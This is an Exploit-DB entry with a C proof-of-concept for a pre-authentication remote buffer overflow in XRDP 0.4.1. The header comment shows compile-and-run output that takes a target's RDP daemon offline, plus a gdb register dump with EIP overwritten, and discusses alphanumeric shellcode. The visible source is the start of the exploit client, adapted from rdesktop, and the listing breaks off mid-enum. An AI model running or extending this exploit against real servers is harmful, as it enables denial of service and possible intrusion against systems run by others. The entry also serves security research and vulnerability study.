Exploit-DB #8469
Description: XRDP 0.4.1 - Remote Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2009-04-17
Author: joe walko

Exploit:
/*

 XRDP <= 0.4.1 pre-auth remote PoC exploit. (xrdp.sourceforge.net)

********************************************************************************

	01:59:56 root@crateria:~/xrdp# gcc -w -lssl -lX11 xrdp-poc.c -o xrdp-poc
	02:00:29 root@crateria:~/xrdp# ./xrdp-poc 10.0.0.13

	[=] Connected to 10.0.0.13
	[=] Hit CTRL-C if the progress bar stops.

		Be patient!  It takes about a minute, the RDP packets
		need to be sent spaced apart or the daemon discards them.

	[=] Progress: *******************************************************
	[=] Check port 3389 on target host. It should be offline.

			~/~

	[root@norfair xrdp]# cat /etc/issue
	CentOS release 4.7 (Final)
	[root@norfair xrdp]# ./xrdp -nodaemon
	Segmentation fault (core dumped)

********************************************************************************

 Quick description of the exploit:

 This is a PoC remote exploit for the XRDP vulnerability found by Hamid Ebadi.
 XRDP 0.4.1 is the latest version at the time of this writing.  This is *almost*
 a really cool exploit, but execution control is difficult to achieve because:

 1 - The XRDP daemon only accepts valid rdp scancodes as input. (ie, not ASCII
 codes, but rdp scancodes that are later translated to ASCII after validation).
 This isn't a huge problem.  I was able write alpha-numeric shellcode onto the
 stack.  However, I wasn't able to find any alpha-numeric return addresses we
 can use to overwrite the saved EIP, at least on the distros I examined
 (Ubuntu 8.10 and CentOS 4.7).  There may be distros where this isn't the case.

 2 - On systems with gcc versions greater than 3.4 (realistically most Linux
 boxes today, Ubuntu 8.10 uses 4.3.2), gcc's -O2 option (which xrdp's
 Makefile includes) enables _FORTIFY_SOURCE checks, which stop you cold.  On
 older distros like CentOS 4.7 (gcc 3.4.6), we can successfully overwrite EIP:

	#7  0x61616161 in ?? ()
	#8  0x61616161 in ?? ()
	#9  0xb7f59200 in ?? ()
	#10 0x0804db1e in xrdp_bitmap_def_proc (self=Cannot access memory 
	at address 0x61616169) at xrdp_bitmap.c:1482
	Previous frame inner to this frame (corrupt stack?)

		#0  0x61616161 in ?? ()
		(gdb) i r
		eax            0x0	0
		ecx            0x8fda[PII_REDACTED]40
		edx            0x97d[PII_REDACTED]
		ebx            0x6[PII_REDACTED]771873
		esp            0xb7f59208	0xb7f59208
		ebp            0x61616161	0x61616161
		esi            0x6[PII_REDACTED]771873
		edi            0x6[PII_REDACTED]771873
		eip            0x61616161	0x61616161

 But due to the alpha-numeric requirements for the return address, again,
 no dice.  Most of the code itself was taken from rdesktop, by Matthew Chapman.
 Basically we hack rdesktop to bypass all X-windows interaction, then in 
 rdp_send_scancode(), we are able to build our payload.  If you manage to find
 an alternate way to control EIP, drop me a line.
							joewalko@gmail.com

********************************************************************************
*/

#include <arpa/inet.h>		/* inet_addr */
#include <ctype.h>
#include <errno.h>
#include <errno.h>		/* errno */
#include <errno.h>		/* save licence uses it. */
#include <fcntl.h>		/* open */
#include <limits.h>
#include <netdb.h>		/* gethostbyname */
#include <netinet/in.h>		/* sockaddr_in */
#include <netinet/tcp.h>	/* TCP_NODELAY */
#include <openssl/bn.h>
#include <openssl/md5.h>
#include <openssl/rc4.h>
#include <openssl/sha.h>
#include <pwd.h>		/* getpwuid */
#include <stdarg.h>		/* va_list va_start va_end */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>		/* socket connect */
#include <sys/socket.h>		/* socket connect setsockopt */
#include <sys/stat.h>		/* stat */
#include <sys/time.h>		/* gettimeofday */
#include <sys/time.h>		/* timeval */
#include <sys/times.h>		/* times */
#include <sys/un.h>		/* sockaddr_un */
#include <termios.h>		/* tcgetattr tcsetattr */
#include <time.h>
#include <unistd.h>		/* read close getuid getgid getpid getppid gethostname */
#include <unistd.h>		/* select read write close */
#include <X11/keysymdef.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>


//Begin typedefs and structs
typedef int BOOL;
#ifndef True
#define True  (1)
#define False (0)
#endif
typedef unsigned char uint8;
typedef signed char sint8;
typedef unsigned short uint16;
typedef signed short sint16;
typedef unsigned int uint32;
typedef signed int sint32;
typedef void *HBITMAP;
typedef void *HGLYPH;
typedef void *HCOLOURMAP;
typedef void *HCURSOR;

typedef struct _COLOURENTRY
{
	uint8 red;
	uint8 green;
	uint8 blue;

}
COLOURENTRY;

typedef struct _COLOURMAP
{
	uint16 ncolours;
	COLOURENTRY *colours;

}
COLOURMAP;

typedef struct _BOUNDS
{
	uint16 left;
	uint16 top;
	uint16 right;
	uint16 bottom;

}
BOUNDS;

typedef struct _PEN
{
	uint8 style;
	uint8 width;
	uint8 colour;

}
PEN;

typedef struct _BRUSH
{
	uint8 xorigin;
	uint8 yorigin;
	uint8 style;
	uint8 pattern[8];

}
BRUSH;

typedef struct _FONTGLYPH
{
	sint16 offset;
	sint16 baseline;
	uint16 width;
	uint16 height;
	HBITMAP pixmap;

}
FONTGLYPH;

typedef struct _DATABLOB
{
	void *data;
	int size;

}
DATABLOB;

typedef struct _key_translation
{
	uint8 scancode;
	uint16 modifiers;
}
key_translation;

/* TCP port for Remote Desktop Protocol */
#define TCP_PORT_RDP 3389

/* ISO PDU codes */
enum ISO_PDU_CODE
{
	ISO_PDU_CR = 0xE0,	/* Connection Request */
	ISO_PDU_CC = 0xD0,	/* Connection Confirm */
	ISO_PDU_DR = 0x80,	/* Disconnect Request */
	ISO_PDU_DT = 0xF0,	/* Data */
	ISO_PDU_ER = 0x70	/* Error */
};

/* MCS PDU codes */
enum MCS_PDU_TYPE
{
	MCS_EDRQ = 1,		/* Erect Domain Request */
	MCS_DPUM = 8,		/* Disconnect Provider Ultimatum */
	MCS_AURQ = 10,		/* Attach User Request */
	MCS_AUCF = 11,		/* Attach User Confirm */
	MCS_CJRQ = 14,		/* Channel Join Request */
	MCS_CJCF = 15,		/*